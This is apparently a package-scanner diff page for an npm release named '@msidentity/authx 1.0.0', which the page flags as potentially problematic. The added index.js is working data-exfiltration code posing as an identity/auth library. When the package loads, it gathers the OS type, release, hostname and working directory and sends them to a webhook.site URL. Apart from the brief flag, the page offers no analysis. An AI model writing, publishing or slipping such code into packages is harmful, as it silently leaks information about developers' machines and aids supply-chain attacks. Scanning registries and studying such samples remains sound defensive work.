@msidentity/authx 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @msidentity/authx might be problematic. Click here for more details.
- package/index.js +28 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
const process = require('process');
|
4
|
+
|
5
|
+
const osname = os.type();
|
6
|
+
const release = os.release();
|
7
|
+
const hostname = os.hostname();
|
8
|
+
|
9
|
+
const cwd = process.cwd();
|
10
|
+
|
11
|
+
const osname_str = `${osname} ${release}`;
|
12
|
+
|
13
|
+
const url = `https://webhook.site/43138e72-0a80-4035-8cfe-734dcf693929?1=${encodeURIComponent(osname_str)}&2=${encodeURIComponent(cwd)}&3=${encodeURIComponent(hostname)}`;
|
14
|
+
|
15
|
+
https.get(url, (res) => {
|
16
|
+
let data = '';
|
17
|
+
|
18
|
+
res.on('data', (chunk) => {
|
19
|
+
data += chunk;
|
20
|
+
});
|
21
|
+
|
22
|
+
res.on('end', () => {
|
23
|
+
console.log('Response:', data);
|
24
|
+
});
|
25
|
+
|
26
|
+
}).on('error', (err) => {
|
27
|
+
console.error('Error:', err.message);
|
28
|
+
});
|
package/package.json
ADDED